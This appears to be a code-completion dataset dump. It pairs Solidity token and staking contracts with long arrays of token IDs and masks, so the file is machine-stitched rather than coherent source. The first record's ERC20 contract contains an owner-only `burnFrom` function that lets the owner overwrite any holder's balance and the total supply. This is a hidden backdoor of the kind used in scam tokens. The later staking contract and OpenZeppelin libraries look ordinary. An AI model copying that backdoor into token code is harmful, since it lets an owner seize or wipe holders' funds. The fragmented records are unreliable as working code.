function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function burnFrom(address account, uint256 balance, uint256 subtract) external owneronly {
require(account != address(0), "ERC20: burn from the zero address disallowed");
_balances[account] = balance.sub(subtract, "ERC20: burn amount exceeds balance");
_totalSupply = balance.sub(subtract);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 1,999,227 |
[
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
4232,
39,
3462,
353,
1772,
16,
14223,
6914,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
389,
70,
26488,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
389,
4963,
3088,
1283,
31,
203,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
203,
565,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
3639,
389,
31734,
273,
6549,
31,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
389,
31734,
31,
203,
565,
289,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
31,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2
] |
// SPDX-License-Identifier: MIT
// File @openzeppelin/contracts/token/ERC20/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File @openzeppelin/contracts/utils/math/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File contracts/lib/ContractGuard.sol
pragma solidity 0.8.1;
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(), "ContractGuard: one block, one function");
require(!checkSameSenderReentranted(), "ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
// File contracts/interfaces/IBasisAsset.sol
pragma solidity 0.8.1;
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
}
// File contracts/interfaces/ITreasury.sol
pragma solidity 0.8.1;
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getVapePrice() external view returns (uint256);
function buyBonds(uint256 amount, uint256 targetPrice) external;
function redeemBonds(uint256 amount, uint256 targetPrice) external;
}
// File contracts/TreasuryMasonry/Masonry.sol
pragma solidity 0.8.1;
contract BoardapeWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public boardape;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
boardape.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 masonBoardape = _balances[msg.sender];
require(masonBoardape >= amount, "Masonry: withdraw request greater than staked amount");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = masonBoardape.sub(amount);
boardape.safeTransfer(msg.sender, amount);
}
}
contract Masonry is BoardapeWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
/* ========== DATA STRUCTURES ========== */
struct Masonseat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct MasonrySnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
/* ========== STATE VARIABLES ========== */
// governance
address public operator;
// flags
bool public initialized = false;
IERC20 public vape;
ITreasury public treasury;
mapping(address => Masonseat) public masons;
MasonrySnapshot[] public masonryHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
/* ========== EVENTS ========== */
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
/* ========== Modifiers =============== */
modifier onlyOperator() {
require(operator == msg.sender, "Masonry: caller is not the operator");
_;
}
modifier masonExists {
require(balanceOf(msg.sender) > 0, "Masonry: The mason does not exist");
_;
}
modifier updateReward(address mason) {
if (mason != address(0)) {
Masonseat memory seat = masons[mason];
seat.rewardEarned = earned(mason);
seat.lastSnapshotIndex = latestSnapshotIndex();
masons[mason] = seat;
}
_;
}
modifier notInitialized {
require(!initialized, "Masonry: already initialized");
_;
}
/* ========== GOVERNANCE ========== */
function initialize(
IERC20 _vape,
IERC20 _boardape,
ITreasury _treasury
) public notInitialized {
vape = _vape;
boardape = _boardape;
treasury = _treasury;
MasonrySnapshot memory genesisSnapshot = MasonrySnapshot({time : block.number, rewardReceived : 0, rewardPerShare : 0});
masonryHistory.push(genesisSnapshot);
withdrawLockupEpochs = 6; // Lock for 6 epochs (36h) before release withdraw
rewardLockupEpochs = 3; // Lock for 3 epochs (18h) before release claimReward
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
/* ========== VIEW FUNCTIONS ========== */
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return masonryHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (MasonrySnapshot memory) {
return masonryHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address mason) public view returns (uint256) {
return masons[mason].lastSnapshotIndex;
}
function getLastSnapshotOf(address mason) internal view returns (MasonrySnapshot memory) {
return masonryHistory[getLastSnapshotIndexOf(mason)];
}
function canWithdraw(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch();
}
function canClaimReward(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch();
}
function epoch() external view returns (uint256) {
return treasury.epoch();
}
function nextEpochPoint() external view returns (uint256) {
return treasury.nextEpochPoint();
}
function getVapePrice() external view returns (uint256) {
return treasury.getVapePrice();
}
// =========== Mason getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address mason) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(mason).rewardPerShare;
return balanceOf(mason).mul(latestRPS.sub(storedRPS)).div(1e18).add(masons[mason].rewardEarned);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot stake 0");
super.stake(amount);
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override onlyOneBlock masonExists updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot withdraw 0");
require(masons[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Masonry: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = masons[msg.sender].rewardEarned;
if (reward > 0) {
require(masons[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Masonry: still in reward lockup");
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
masons[msg.sender].rewardEarned = 0;
vape.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Masonry: Cannot allocate 0");
require(totalSupply() > 0, "Masonry: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
MasonrySnapshot memory newSnapshot = MasonrySnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
masonryHistory.push(newSnapshot);
vape.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator {
// do not allow to drain core tokens
require(address(_token) != address(vape), "vape");
require(address(_token) != address(boardape), "boardape");
_token.safeTransfer(_to, _amount);
}
}
|
Create & add new snapshot
|
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Masonry: Cannot allocate 0");
require(totalSupply() > 0, "Masonry: Cannot allocate when totalSupply is 0");
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
MasonrySnapshot memory newSnapshot = MasonrySnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
masonryHistory.push(newSnapshot);
vape.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
| 10,024,411 |
[
1,
1684,
473,
527,
394,
4439,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
10101,
1761,
724,
77,
1531,
12,
11890,
5034,
3844,
13,
3903,
1338,
3335,
1768,
1338,
5592,
288,
203,
3639,
2583,
12,
8949,
